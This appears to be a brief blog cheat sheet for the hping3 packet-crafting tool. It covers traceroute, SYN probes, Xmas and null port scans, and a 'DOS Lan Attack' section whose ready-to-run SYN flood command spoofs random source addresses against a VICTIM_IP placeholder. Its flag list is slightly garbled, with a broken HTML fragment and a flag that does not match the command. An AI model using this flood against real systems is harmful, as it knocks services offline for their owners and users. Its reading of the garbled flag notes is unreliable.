hping3 - packet crafting




Hping3 is a ping command but slightly more advance.


Simple use case scenario

Get traceroute for a host

hping3 --traceroute -V -1 0daysecurity.com

Sends a Syn packet to port 80.
hping3 -V -S -p 80  0daysecurity.com



Advance use case scenario


xmas scan

hping3 -c 1 -V -p 80 -s 5050 -M 0 -UPF 0daysecurity.com

null scan - if target port is closed, it sends TCP RST. If it is open, the target discard TCP NULL scan, sending no reply

hping3 -c 1 -V -p 80 -s 5050 -Y 0daysecurity.com

DOS Lan Attack 


hping3 -V -c 1000000 -d 120 -S -w 64 -p 445 -s 445 --flood --rand-source VICTIM_IP
  • --flood: sent packets as fast as possible. Don't show replies.
  • --rand-dest: random destionation address mode. see the man.
  • -V <-- li="" verbose="">
  • -c --count: packet count
  • -d --data: data size
  • -S --syn: set SYN flag
  • -w --win: winsize (default 64)
  • -p --destport [+][+] destination port(default 0) ctrl+z inc/dec
  • -s --baseport: base source port (default random)

Comments

Popular posts from this blog

The specified initialization vector (IV) does not match the block size for this algorithm